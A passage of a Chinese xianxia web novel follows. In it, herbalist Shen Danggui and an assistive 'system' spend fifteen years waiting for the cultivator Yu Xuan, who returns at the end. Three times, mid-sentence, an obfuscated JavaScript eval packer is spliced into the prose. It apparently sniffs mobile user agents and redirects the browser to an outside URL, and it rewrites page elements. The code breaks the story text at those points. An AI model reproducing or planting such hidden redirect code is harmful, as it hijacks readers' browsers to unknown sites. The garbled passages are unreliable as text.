那道光是青色的,亮得刺眼,像夏夜的闪电,像深山里偶然得见的萤火。它直直撞向锥子脸,速度快得我根本看不清。 轰—— 一声巨响。 院子里炸开一团白光,刺得我睁不开眼。那光太亮了,亮得像有十个太阳同时落进了院子。我本能地用手挡住眼睛,只觉得眼前一片白茫茫,什么都看不见。 耳朵里嗡嗡嗡地响,像有无数只蜜蜂在飞。 等我终于能看清东西的时候,院子里已经变了样。 井台塌了一角,青砖碎了一地。老槐树的树干上有一道深深的裂痕,树皮翻卷着,露出底下白色的木头。地上到处都是坑坑洼洼的,像是被什么砸过。 那三个青灰袍人不见了。 只剩于玄站在院墙下,扶着墙,大口大口喘气。 他弯着腰,一只手撑着墙,一只手捂着胸口。月光照在他身上,我能看见他的手在抖,整个身子都在抖。他脸色白得像纸,嘴角挂着的那道血痕更红了,一滴一滴往下淌,落在脚边的泥土里,洇成一小片暗红。 他抬起头,看向我。 那双眼睛里,光芒黯淡了许多,像快燃尽的灯。 “沈当归。”他说。声音沙哑得不像他,像是从嗓子眼里硬挤出来的,带着血丝。 我得走了。 我愣在原地,半天才找回自己的声音。 “走?去哪儿?” 话一出口,我才发觉自己的声音也在抖。 他没回答。 他只是慢慢站直身子,从怀里掏出两样东西,放在院子里的石桌上。 一块玉牌。青色的,在月光下泛着幽幽的光,上头刻着两个字。隔得太远,我看不清是什么。 一个小小的瓷瓶。白底青花,是我放在灶房里装调料的那种,不知道他什么时候拿去的。 他放好那两样东西,又抬起头看我。 月光底下,他的眼眶红了。 那双眼睛里有什么东西在闪烁,亮晶晶的,像夏夜荷叶上的露水。他咬着嘴唇,咬得那么用力,嘴唇都泛白了。 “于玄——”我往前迈了一步。 “别过来。”他退后一步,背抵着墙,“他们还会来。我不能再留在这里。” 他声音发颤,像腊月里的北风。 我想说什么,可喉咙像被什么堵住了,一个字都说不出来。 他就那么看着我。 看着我,看着院子,看着那棵老槐树,看着石桌,看着灶房的窗户,看着晾衣绳上那件沾了泥的衣裳。他看得很慢,很仔细,像要把这些都刻进眼睛里,刻进心里。 最后,他的视线又回到我脸上。 “你……”我张了张嘴,好不容易挤出几个字,“你还会回来吗?” 他没说话。 只是看着我。 月光下,他的嘴角动了动,像是想笑,又像是想说什么。可他什么都没说。 然后他转过身。 身子一晃,化作一道流光,冲向夜空。 那道光是青色的,比刚才黯淡了许多,像一盏快被风吹灭的灯。它越升越高,越来越淡,最后消失在满天繁星里。 院子里静下来。 静得像一口深井。 风吹过来,带着初秋的凉意。老槐树的叶子哗哗地响,一片枯叶打着旋儿落下来,落在我脚边。 我打了个哆嗦,才发觉后背全是冷汗,衣裳都湿透了,贴在身上冰凉冰凉的。 我慢慢走到石桌边。 石桌上,那块玉牌在月光下泛着幽幽的青光。我拿起来,借着月光辨认上面的字—— “于玄”。 两个字,刻得很深,笔画遒劲有力。 原来他说的,是真名。 那个瓷瓶也在。我拿起来,拔开塞子,一股清香扑面而来。那香味很淡,却说不出的好闻,像是深山里的灵芝,又像是雪山顶上的雪莲,光是闻着,就觉得浑身舒坦。 【叮——检测到筑基丹,品级:三品。功效:洗经伐髓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357911|199708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,筑基之用。备注:凡人服用可延年益寿,百病不生。】 我把塞子塞回去,把瓷瓶握在手里。 那瓷瓶还带着一点温热,不知道是他的体温,还是刚才那场恶战留下的余温。 我抬头看了看天。 满天的星星,密密麻麻的,像一把碎银子撒在黑布上。哪一颗是他?我不知道。 他在天上飞着的时候,能不能看见这间小院?能不能看见这棵老槐树?能不能看见站在树下的我? 我站了很久。 久到月亮从东边升到头顶,又从头顶往西边落。 久到身上的冷汗干了又湿,湿了又干。 久到院子里那些打翻的药材,被风吹得到处都是。 最后我低下头,把玉牌和瓷瓶收进怀里,贴着心口放着。 然后我转身,开始收拾院子。 把打翻的竹席扶起来,把撒了的药材捡回来,把断了的晾衣绳重新系好。井台塌了,明天找人来修。老槐树的树干上那道裂痕,得用泥巴糊上,免得生虫。 我一件一件做着,做得很慢。 天亮的时候,院子收拾好了。 除了井台缺了一角,老槐树上多了道疤,看起来和从前没什么两样。 我站在院子中央,看着那棵老槐树。 风吹过来,树叶哗哗地响。 我忽然想起他刚来的时候,躺在床上,发着烧,一直说胡话。 “我没有……不是我偷的……” “长老……别赶我走……” “我能修……我能修的……” 最后那句,他说得最轻。 “我只是想……被人看见。” 我把手伸进怀里,摸了摸那块玉牌。 于玄。 我记住你了。 【叮——检测到宿主情绪波动较大,是否开启【养伤调理】辅助功能?】 不用。 【叮——检测到宿主怀中筑基丹,是否查询最佳服用时机?】 不用。 【叮——检测到宿主……】 我打断了它。 “我问你,”我在心里说,“有什么药材,能帮他把伤养好?” 系统沉默了一瞬。 【正在检索……】 【检索完成。推荐以下药材:】 【1. 千年灵芝:补气安神,固本培元。】 【2. 雪莲:清热解毒,活血化瘀。】 【3. 龙涎草:续筋接骨,生肌止血。】 【4. 九节菖蒲:醒神开窍,祛除邪毒。】 【……】 我一条一条看下去,记在心里。 他不知道什么时候回来。 但等他回来的时候,我要把他养得白白胖胖的,一根汗毛都不少。 那天之后,我往后山跑得更勤了。 以前是三天去一次,现在天天去。天不亮就出门,太阳落山才回来。我背着篓子,拿着小锄头,把后山的每一个角落都翻了个遍。 【千年灵芝,喜阴湿,多生于千年古树根部……】 我专找那些老树底下,一棵一棵看过去。 【雪莲,喜寒,多生于高山雪线附近……】 青崖镇没有雪山。但系统说,后山最高的那座山峰,冬天有积雪,或许能找到一些喜寒的药材。我爬了三天,爬到腿都软了,还真找到了几株。 【龙涎草,喜水,多生于溪流旁……】 我把后山所有的溪流都走了一遍,从上游走到下游,从这头走到那头。 一个月下来,我采回来的药材,比过去一年都多。 院子里晒满了各式各样的草药,空气里飘着的全是药香。王婶来串门,吓了一跳,问我是不是改行开药铺了。我说不是,就是多采点,存着慢慢用。 晚上,我就着油灯,按系统教的方法炮制那些药材。 有的要蒸,有的要晒,有的要炒,有的要蜜炙。我一样一样学,一样一样试。刚开始掌握不好火候,炒糊了好几锅。后来慢慢摸出门道,越做越顺手。 【检测到宿主正在炮制龙涎草,火候偏大,建议降低一成火势……】 我依言调小了火。 【检测到宿主正在蒸制九节菖蒲,时间已到,可以出锅……】 我把蒸笼端下来。 有这么个东西在,确实方便。 两个月后,我攒了满满一柜子的药材。灵芝、雪莲、龙涎草、九节菖蒲……每一样都用油纸包好,贴上标签,整整齐齐码在柜子里。 我关上柜门,拍了拍手。 于玄,你什么时候回来? 药材我都备好了。 4. 第 4 章 第四章凡人 于玄走后,我的日子还是要过。 铺子照样开,药材照样收,后山的黄精照样挖。 只是灶房里少了一个人。 以前做饭,总要多抓一把米,多削一个土豆,多切一块肉。现在又回到从前,一把米够吃两顿,一个土豆吃不完,一块肉能炖三天的汤。砂锅还是那个砂锅,可看着锅里咕嘟咕嘟冒泡的汤,总觉得少了点什么。 院子里晾衣绳上那几件素色衣裳,我收了又挂,挂了又收。 头几天收下来,叠好放进柜子里。过几天又拿出来,挂回绳子上。再几天,再收回来。就这么折腾了好几回,最后我站在院子里,看着那几件衣裳发了好一会儿呆。 “沈当归,你有病。”我骂了自己一句,把衣裳叠好,放进了柜子最深处。 柜子里有我爹留下的旧衣裳,有我娘留下的一个木簪子,现在又多了几件洗得发白的素色衣裳。 挺好的。 那瓶筑基丹,我放在床头的木匣子里。 木匣子是爹留下来的,红漆都剥落了,露出底下暗黄色的木头。里头装着几样旧物——我娘留下的一对银镯子,我爹留下的一块怀表,还有几张发黄的药方。现在多了那个白底青花的小瓷瓶。 我隔三差五就把木匣子打开看看。 不是看那瓶丹药,是看那几件旧物。看着看着,就好像能看见爹娘还在的时候。娘坐在院子里择菜,爹在旁边晒药材,我在槐树下跑来跑去。 玉牌我收在贴身的内袋里。 那块玉牌不大,方方正正的,边缘磨得很光滑。上头刻着“于玄”两个字,笔画很深,像是用什么东西刻上去的。玉是青色的,不是那种透亮的青,是温润的青,像深潭里的水。 出门采药的时候,我把它带着。睡觉的时候,搁在枕头底下。 倒不是盼着什么。 就是习惯了。 就好像他还在的时候,我出门采药,他总跟在后面。我睡觉的时候,他就在隔壁那间屋里。 习惯了,就改不了了。 镇上的人偶尔问起我那“表弟”。 “沈掌柜,你那个表弟呢?好久没见着了。” 我说回家去了。 “回哪个家?他不是来投奔你的吗?” “他家那边的事办完了,回去了。” 他们也就不再多问,最多说一句“那小子怪勤快的,可惜了”,然后继续喝他们的汤。 日子不紧不慢地过着,一年又一年。 春天,后山的黄精发芽了,我去挖。夏天,院子里的马齿苋疯长,我焯水拌着吃。秋天,老槐树的叶子黄了,落了一地,我扫起来堆在墙角。冬天,灶膛里的火烧得旺旺的,我缩在屋里喝热汤。 我二十五了。 隔壁王婶开始给我介绍亲事。 “沈当归,你也老大不小了,该成个家了。”她坐在铺子里,一边喝汤一边说,“东头刘家的闺女,长得水灵,针线活也好,配你正合适。” 我说不用了,铺子忙,顾不上。 “忙什么忙?”王婶把碗往桌上一顿,“你一个人,忙能忙到哪儿去?有个人帮你,不是更好?” 我说再说吧。 王婶撇嘴:“再说再说,再说你就老了。” 我笑了笑,没接话。 我三十了。 王婶又来了几回,介绍了七八个闺女。有东头刘家的,西头李家的,镇外边王庄的,甚至还有一个是县城里来的。 我都推了。 王婶气得直跺脚:“沈当归,你是不是傻?那刘家闺女多好,你偏不要。那李家的更水灵,你也不要。你到底想要什么样的?” 我想了想,说:“没什么想要的,就是觉得一个人也挺好。” “一个人挺好?”王婶瞪着我,“等老了,病了,谁伺候你?谁给你端茶倒水?” 我说我自己伺候自己,自己端茶倒水。 王婶气得说不出话,扭头就走了。 后来她来的次数少了,偶尔来喝汤,也不再提亲事。只是有时候看着我,叹口气,说一句:“你啊,心里头有人。” 我没接话。 心里头有没有人,我自己也不知道。 有时候晚上睡不着,我会去院子里坐一会儿。 月亮好的时候,院子里亮堂堂的。老槐树的影子铺了一地,风吹过,影子就晃啊晃的,像活了一样。石桌还在那个位置,石凳也还在。井台我修好了,用的新砖,比原来还结实。 我坐在石凳上,靠着石桌,抬头看月亮。 月亮又大又圆,挂在天上,清清冷冷的。月光落在院子里,把一切都染成银白色。 我好像还能看见一个瘦瘦高高的影子。 他蹲在我旁边,指着筐里的菜问:“这是什么?”我说马齿苋。他又指着另一棵问:“这个呢?”我说那是杂草。他抬起头看我,嘴角动了动,像是想笑。 那是我头一回在他脸上看到近乎笑的表情。 他叫于玄。 我把手伸进怀里,摸了摸那块玉牌。 玉牌还是温温的,贴着心口放着,带着我的体温。 “你在哪儿呢?”我对着月亮问。 月亮不说话。 只是把清辉洒下来,落在我身上,落在老槐树上,落在这个空空荡荡的院子里。 我三十五了。 鬓角开始有白头发了。 头一回发现的时候,我正在灶房里对着水缸照。水缸里的水晃啊晃的,映出我的脸。我看见鬓角有几根白的,在乌黑的头发里格外显眼。 我愣了一下,凑近了仔细看。 确实是白的。 不是一根两根,是一小片。 我直起腰,在水缸边上站了好一会儿。 三十五了,是该有白头发了。我爹三十五的时候,白头发比我还多呢。 可心里还是有点不是滋味。 手也粗了。 常年择药、晒药、熬汤,指腹上全是老茧。那些茧子硬硬的,按下去都不觉得疼。手背上青筋凸起,皱纹也多了几道,像老树的树皮。 我摊开手掌,就着灶房里的油灯看了一会儿。 这双手,这十五年,干了多少活?熬了多少锅汤?洗了多少个碗?挖了多少棵药? 数不清了。 那瓶筑基丹,我拿出来看过几回。 有一回是三十岁那年。那天是我生日,一个人喝了点酒,晕晕乎乎的,就把木匣子翻出来了。我拿着那个小瓷瓶,拔开塞子,凑到鼻子底下闻了闻。 那股香味还在,淡淡的,清清冷冷的,像深山里的雪。 我想了想,把塞子塞回去,放回了木匣子里。 不是不想知道修仙是什么滋味。 我也想活得更久一点,看看更大的世界。我也想飞在天上,像那些仙人一样,想去哪儿就去哪儿。 可是…… 万一他哪天真的回来,找不着我怎么办? 我要是吃了这丹药,就成了修仙的人了。修仙的人要去修仙的地方,不能老待在这个小镇上。我要是走了,他回来的时候,这间铺子还在吗?这棵老槐树还在吗?还有人给他炖雪梨汤吗? 这念头蠢得很,我自己也知道。 他去了十五年,一点消息都没有。说不定早就不记得这个小镇,不记得这间铺子,不记得那个只会炖汤的沈当归了。 说不定他早就…… 我不敢往下想。 可就是放不下。 三十五岁那年开春,我染了场风寒。 起初只是有点咳嗽,没当回事。后来咳得越来越厉害,夜里发起烧来,烧得迷迷糊糊的。 我缩在床上,盖着两床被子,还是冷得直哆嗦。身上烫得像火炭,可骨子里却像塞了冰块,从里往外冒着寒气。牙齿在打颤,咯咯咯地响,停都停不下来。 我挣扎着起来,想去灶房烧点热水。可刚坐起来,眼前一黑,又栽回床上。 就这么烧了三天三夜。 迷迷糊糊的,总做梦。 梦见于玄回来了。 他就站在床前,还是十五年前的模样,瘦瘦高高的,穿着那身洗得发白的旧衣裳。他看着我,眼睛里亮亮的,像是有什么话要说。 我想伸手拉他。 手一抬,就醒了。 窗外头黑漆漆的,只有风吹着老槐树的叶子哗哗地响。屋里也黑,油灯早灭了,只剩一点月光从窗户纸里透进来,在地上铺了一小块白。 我躺在床上,大口大口喘气。 身上湿透了,汗把被子都浸得潮潮的。 我伸手摸了摸枕头底下。 玉牌还在。 凉凉的,硬硬的,贴着我的掌心。 我攥着那块玉牌,又昏昏沉沉地睡过去。 这回没做梦。 病好之后,我瘦了一大圈。 站在水缸边照了照,颧骨都凸出来了,眼窝也陷下去了,活像十五年前刚把于玄背回来那会儿的自己。 我咧嘴笑了笑,那笑容也干巴巴的,不怎么好看。 回到屋里,我把那个木匣子又翻出来。 打开,拿出那个小瓷瓶。 瓶子上落了薄薄一层灰。 我用袖子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357912|199708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 擦了擦,擦得干干净净的,在手里转着看了看。 然后我拔开塞子,把那颗丹药倒出来。 丹药是淡金色的,有龙眼那么大,圆滚滚的,在掌心里泛着一层柔和的光。那股香味更浓了,清清冷冷的,吸进鼻子里,整个人都精神了几分。 我盯着那颗丹药看了很久。 只要吃了它,我就能活得更久。十年,二十年,五十年,一百年。 说不定还能见到他。 我张开嘴。 那颗丹药就在嘴边,近得能闻到它散发出的丝丝凉意。 然后我又把嘴闭上了。 我把丹药放回瓶子里,塞好塞子,放回木匣子里。 关上木匣子,放回柜子里。 算了。 做人挺好,做凡人挺好。 生老病死,本来就是人该走的路。 我爹走了,我娘走了,以后我也会走。就像老槐树春天发芽,秋天落叶,一年又一年,一代又一代。 这就是人的命。 我走出屋子,站在院子里。 天很蓝,太阳很好。老槐树的叶子嫩绿嫩绿的,在风里轻轻摇着。井台上新砖的颜色已经旧了,和周围的青砖混成一片。 我深深吸了口气。 空气里有泥土的气息,有药材的香味,有灶房里飘出来的汤的香气。 这样的日子,挺好。 【叮——检测到宿主放弃服用筑基丹,是否查询凡人养生方案?】 我愣了一下。 凡人养生方案? 【凡人养生方案:针对未修炼的普通人类,提供饮食调理、作息规律、常见疾病预防等建议,可最大限度延长寿命、提升生活质量。】 我忍不住笑了。 “你还管这个?” 【系统宗旨:为宿主提供全方位生活辅助。无论宿主选择何种人生道路,系统都将尽力协助。】 我想了想,说:“行,给我说说,怎么养生?” 【正在生成凡人养生方案……】 【方案生成完成。】 【每日建议:】 【辰时:早餐宜清淡,可食用粥类、蛋类。】 【巳时:适宜户外活动,晒晒太阳,活动筋骨。】 【午时:午餐宜饱,荤素搭配。】 【未时:午休片刻,不超过半个时辰。】 【申时:适宜处理事务,如看铺子、收药材。】 【酉时:晚餐宜少,以易消化为佳。】 【戌时:不宜剧烈活动,可散步、读书。】 【亥时:准备就寝,不宜熬夜。】 我听着,点点头。 这倒是简单。 【此外,建议宿主每年进行一次全面体检,可及时发现潜在问题。】 “体检?怎么体检?” 【系统可提供基础体检功能。宿主只需按照系统指示进行操作,系统将根据脉象、舌苔等判断身体状况。】 “这倒不错。” 【另外,建议宿主保持心情愉悦。长期忧思过度,会影响身体健康。】 我愣了一下。 “你怎么知道我忧思过度?” 【系统检测到宿主近十五年情绪波动频繁,多与思念某人有关。】 我没说话。 过了好一会儿,我才说:“你们这东西,管得真宽。” 【系统宗旨:为宿主提供全方位生活辅助。包括身体健康,也包括心理健康。】 我笑了笑。 “行,我知道了。” 那天之后,我开始按系统说的做。 按时吃饭,按时睡觉,每天晒晒太阳,活动活动筋骨。偶尔去后山走走,但不再像以前那样拼命。采药够用就行,不必把整座山都搬空。 王婶来喝汤,说我气色好多了。 我说是吧,养生呢。 “养生?”王婶笑我,“你才多大,养什么生?” 我说三十五了,不小了。 王婶看着我,忽然叹了口气:“你啊,也该想开点了。有些人,有些事,过去了就过去了,别老搁在心里。” 我知道她说的什么意思。 我笑了笑,没接话。 晚上,我又去院子里坐了一会儿。 月亮还是那个月亮,老槐树还是那棵老槐树。 我摸了摸怀里的玉牌。 “于玄,”我对着月亮说,“你要是能听见,就好好活着。别像我似的,把身子骨熬坏了。” 月亮不说话。风吹过来,老槐树的叶子哗哗地响。我站起来,拍了拍衣裳,回屋睡觉去了。 5. 第 5 章 第五章传闻 于玄走后的第十五年,镇上忽然热闹起来。 那年初秋,天气格外好。 天高云淡,风里带着庄稼成熟的香味。后山的枫叶刚开始红,远远望过去,像一片火烧云落在了山腰上。院子里的老槐树还是老样子,叶子开始发黄,风一吹,哗啦啦地往下掉。 我正在铺子里熬汤。 砂锅坐在炉子上,咕嘟咕嘟地冒着热气。这锅汤炖了三个时辰了,用的是新收的党参,加上从后山挖来的新鲜黄精,还有几片老姜。汤色金黄透亮,香味飘得满屋子都是。 忽然听见外头有人喊:“快看!天上有仙人!” 我愣了一下,放下勺子,走到门口往外看。 街上已经站满了人。卖豆腐的王大脑袋踮着脚尖,脖子伸得老长;裁缝铺的刘婶抱着孩子,站在台阶上仰着脑袋;就连平时腿脚不利索的李大爷,也拄着拐杖颤颤巍巍地走到了街中间。 我顺着他们的视线往天上看。 云层里,有几道流光划过。青色的,白色的,还有一道金色的,速度快得惊人,眨眼间就消失在北边的天际。 “那是灵剑宗的仙人!”有人喊。 “灵剑宗?那不是一百多里外那个仙门吗?” “对!前些天就听说了,灵剑宗来了大人物,好像是哪个真人要渡劫了!” “渡劫?那可了不得!” 人群里议论纷纷,我听着,没往心里去。 仙人不仙人的,跟我有什么关系。 我转身回了铺子,继续看我的汤。 可接下来的几天,镇上的话题就再也没离开过那个“玄天真人”。 茶棚里,酒肆里,菜市口,甚至来我铺子里喝汤的熟客,嘴里念叨的都是这个名字。 “听说了吗?玄天真人是灵剑宗千年来最年轻的渡劫期!” “可不是!听说他今年才三十出头!” “三十出头就渡劫?我的老天爷,咱们三十出头的时候还在土里刨食呢。” “人家那是天生灵根,咱们能比吗?” “我还听说,这位玄天真人早年可惨了。当年在灵剑宗只是个杂役弟子,被人欺负得够呛。后来也不知道走了什么运,突然就开窍了,一路突飞猛进,把那些欺负他的人都踩在了脚下。” “啧啧,这不就是话本子里写的嘛!” 我坐在柜台后面,一边算账,一边听着这些话。 玄天真人。 三十出头。 灵剑宗。 杂役弟子。 我心里忽然跳了一下。 “这位客官,”我忍不住开口问,“你说的那位玄天真人,叫什么名字?” 那客人正喝汤喝得高兴,闻言抬起头看我:“叫什么?这我还真不知道。只知道道号玄天,本名没听说过。怎么,沈掌柜认识?” 我笑了笑:“我一个开药膳铺的,哪能认识那种大人物。就是随口问问。” 客人点点头,继续低头喝汤。 我把算盘放下,坐在那儿发了一会儿呆。 玄天真人。 于玄? 会是吗? 十五年了,他要是还活着,也该三十出头了。 可是……渡劫期?那是修仙的人最高的境界吧?他从一个被人打伤扔在山里的半大孩子,变成渡劫期的真人? 我不敢相信。 也不愿意相信。 要是真的,那他跟我,就真的是两个世界的人了。 我把手伸进怀里,摸了摸那块玉牌。 玉牌还是温温的,贴着心口放着。 “你在哪儿呢?”我在心里问。 过了几天,天上有仙舟飞过。 那是头一回见到仙舟。 好大一条船,比镇上的房子还大,浮在云彩上头,慢慢悠悠地往北飞。船身泛着青光,在阳光下亮得晃眼。船头站着好些白衣人,衣袂飘飘,远远看着,真像神仙下凡。 船后面还跟着几道流光,不知道是护卫还是什么。 镇上的人全跑出来了。 街两边挤得满满当当,大人抱着孩子,年轻人搀着老人,全都仰着脖子,嘴张得能塞进鸡蛋。卖糖葫芦的老陈连摊子都不要了,站在人群里傻愣愣地看着天上。 “这就是仙舟啊!” “我的老天爷,这得有多大!” “那船上站着的就是仙人吧?你看看那衣裳,那气派!” 我也站在铺子门口,仰着脖子看。 仙舟从镇子上空缓缓飞过,遮住了一大片天。船底是青色的,隐约能看见一些花纹,像是什么符文。船头站着的那些人,虽然看不清脸,但那种气度,确实跟我们这些凡人不一样。 真好看。 我心里想。 然后我低下头,把铺子门口摆着的药材摊子归拢归拢。 今年的枸杞晒得差不多了,该装袋了。这批枸杞品相好,颗粒饱满,颜色鲜红,能卖个好价钱。还有那几筐陈皮,也该收起来了,免得晚上落了露水受潮。 我蹲在那儿,把枸杞一捧一捧往布袋里装。 仙舟从头顶飞过,带起一阵风,吹得我的药材摊子沙沙作响。 我没抬头。 仙舟过去之后,镇上更热闹了。 有人说玄天真人在灵剑宗住下了,要准备渡劫的事宜。有人说他还要去北边寻什么故人,所以仙舟才往北飞。还有人说,他寻的那个故人是个男的,也不知道走了什么运,能跟这种大人物攀上关系。 “你们说,玄天真人寻的是什么故人?” “那谁知道。说不定是当年救过他命的恩人呢。” “要真是救命恩人,那可发达了!真人手指缝里漏一点,就够凡人吃喝几辈子的。” “可不是嘛,也不知道是哪个走了运的。” 我在旁边听了一耳朵,继续低头择我的菜。 什么运不运的,我一个开药膳铺的,跟人家修仙的能有什么关系。 十五年了。 人家说不定早就不记得这个边陲小镇,不记得这间破旧的药膳铺子,不记得那个只会炖当归鸡汤的沈当归了。 说不定他渡劫成功,就飞升到更高的地方去了。什么灵剑宗,什么青崖镇,什么沈当归,都会变成他记忆里模糊的影子,像做了一场梦。 这样也挺好。 我把择好的菜放进筐里,端起筐往灶房走。 走到灶房门口,我忽然停住脚步,回头看了一眼。 铺子还是那个铺子,门帘还是那个门帘。门帘上补过的地方,还是他刚来那年我补的。那天他说想学缝补,我说你一个大男人学什么缝补,他说学会了就能自己补衣裳,不用麻烦我。我听了,没说什么,但心里好像有什么东西动了一下。 我站在那儿,看着那块补丁,看了好一会儿。 风吹过来,门帘轻轻晃动,那块补丁也跟着一晃一晃的。 我转身进了灶房。 晚上,我又去院子里坐了一会儿。 月亮很亮,把整个院子照得像白天一样。老槐树的叶子落了大半,剩下那些挂在枝头,在月光下泛着银白色。风一吹,叶子哗啦啦地响,几片枯叶打着旋儿落下来,落在石桌上,落在地上,落在我肩膀上。 我坐在石凳上,靠着石桌,抬头看月亮。 月亮又大又圆,挂在天上,清清冷冷的。 月光底下,这个院子显得特别安静。灶房的烟囱不再冒烟了,铺子的门板也上好了,连井 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357913|199708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 台上的辘轳都一动不动。 我忽然想起他刚来那年,有一回也是这样的月亮。 那天晚上我起来上茅房,路过他窗前,看见他坐在床上,盯着窗户看。月光从窗户纸里透进来,照在他脸上,把他整个人都镀上一层银色。 我站在院子里看了一会儿,转身回去了。 后来我问过他,那天晚上在想什么。 他说没想什么,就是看看月亮。 我说月亮有什么好看的。 他说,以前在宗门里,晚上不许出门,只能从窗户缝里看一点点。现在能坐在院子里随便看,就想多看几眼。 我听了,没说话。 从那以后,我晚上起来,总会往他窗前看一眼。 要是他坐在那儿看月亮,我就站一会儿。要是他睡了,我就回去继续睡。 这个习惯,一直留到现在。 我把手伸进怀里,摸了摸那块玉牌。 “于玄,”我对着月亮说,“你要是真的成了什么真人,就好好当你的真人。别惦记这儿了。” 月亮不说话。 风又吹过来,老槐树的叶子哗哗地响。 我站起来,拍了拍衣裳上的落叶,往屋里走。 走到门口,我忽然想起什么,又回头看了一眼。 月光底下,石桌还是那个石桌,石凳还是那个石凳。好像还坐着一个瘦瘦高高的影子,侧着脸,对着月亮发呆。 我眨了眨眼。 什么也没有。 只有风吹着落叶,在地上打着旋儿。 我推开门,进了屋。 【叮——检测到宿主情绪波动,是否开启【情绪疏导】功能?】 不用。 【叮——检测到宿主近期频繁抚摸玉牌,是否查询玉牌相关信息?】 不用。 【叮——检测到……】 “行了,”我在心里说,“我知道你是好心。可有些事,不用查,不用问。等着就行了。” 系统沉默了一会儿。 【系统理解。宿主晚安。】 我躺在床上,把玉牌从怀里拿出来,放在枕头边上。 月光从窗户纸里透进来,照在玉牌上,把那两个字照得清清楚楚。 于玄。 我伸出手,用指腹轻轻摸了摸那两个字。 笔画很深,刻得很用力,摸上去能感觉到凹下去的纹路。 “你在哪儿呢?”我轻轻问。 玉牌不说话。 只是安安静静地躺在月光里,泛着幽幽的青光。 我闭上眼睛,睡了。 第二天一早,我又开始忙活。 熬汤,看铺子,收药材,晒太阳。日子还是那个日子,没什么不同。 只是街上的人还在议论玄天真人,茶棚里还在传那些有的没的。 “听说玄天真人要在灵剑宗开坛讲道,好多人都去了!” “你还能去?那是仙门,凡人进得去吗?” “进不去,远远看看也好啊。万一能沾点仙气呢?” “你要去?那么远的路。” “走走呗,反正闲着也是闲着。” 我听着这些话,忽然想起他问过我的那个问题。 “你有没有想过,去看看更大的世界?” 我当时说没想过。 现在想想,好像还是没想过。 我看了看铺子,看了看院子,看了看那棵老槐树。 这就是我的世界。够大了。 我端起茶碗,喝了一口。 茶是今年新采的,用老姜和红糖煮的,热乎乎的,喝下去从嗓子眼暖到胃里。 我放下茶碗,继续晒我的陈皮。 今年的日头真好。 6. 第 6 章 第六章故人来 仙舟过去的第三天傍晚,我正在灶房里熬汤。 那天下午落了点小雨,淅淅沥沥的,到了傍晚才停。雨后的空气潮潮的,带着泥土的腥气和草木的清香。院子里那棵老槐树的叶子被雨水洗得绿油油的,在夕阳下泛着光。 我灶房里的汤炖了快两个时辰了。 砂锅坐在炉子上,咕嘟咕嘟冒着热气。锅盖被蒸汽顶得一跳一跳的,每一次跳动都喷出一股白气,带着当归和黄芪的香味,飘得满屋子都是。 今天是立秋。 按老规矩,立秋要补一补。我特意多放了几片黄芪,又加了一把枸杞,炖了一锅黄芪当归排骨汤。汤色已经炖成了金黄色,油花浮在上面,亮晶晶的,看着就馋人。 我拿勺子撇了撇浮沫,舀了一点汤,吹了吹,尝了尝咸淡。 还行。就是盐少了一点点,再加一撮就好。 我正伸手去拿盐罐子,忽然听见有人敲门。 笃笃笃。 三下,轻轻的。 我愣了一下。 这个时候还有谁来?天都快黑了,镇上的人这个点都在家吃饭呢。再说,我这铺子晚上一般不营业,老主顾都知道。 我把勺子一搁,在围裙上擦了擦手,穿过店面,走去开门。 门是两扇对开的旧木板门,年头久了,门轴有些涩,推开的时候会发出吱呀一声响。我伸手拉开右边那扇,吱呀一声,门开了。 然后我愣住了。 门口站着个年轻人。 他穿着寻常的青布衣裳,洗得干干净净的,布料普通得很,镇上随便哪个后生都穿得起。头发简单地束着,用一根木簪别住,露出光洁的额头。脸上干干净净的,没有什么表情,就那么安安静静地站在夕阳里。 可那张脸,我再熟悉不过。 十五年了,他好像一点没变。 眉眼还是那个眉眼。剑眉,眉峰很利,像是用刀裁出来的。鼻梁挺直,嘴唇抿着,嘴角微微往下压。眼睛还是那么黑,那么深,像两口深不见底的井。 又好像变了很多。 眉眼还是那个眉眼,可整个人站在那里,自有一股说不出的气度。他就那么站着,什么也没做,什么也没说,可你就是觉得他不一样了。像深潭里的水,看着平静,底下不知道有多深。像山间的古松,看着沉默,却自有一种不可撼动的力量。 夕阳从他背后照过来,给他整个人都镀上了一层金红色的光。他的影子被拉得很长,一直延伸到街对面的墙根底下。 “沈当归。”他开口。 声音有些哑,像是很久没说过话的人。可那声音里,有我听得出的一点东西——是十五年前那个发着烧、说胡话的半大孩子的声音。 “我回来了。” 我站在门槛里,半天没动。 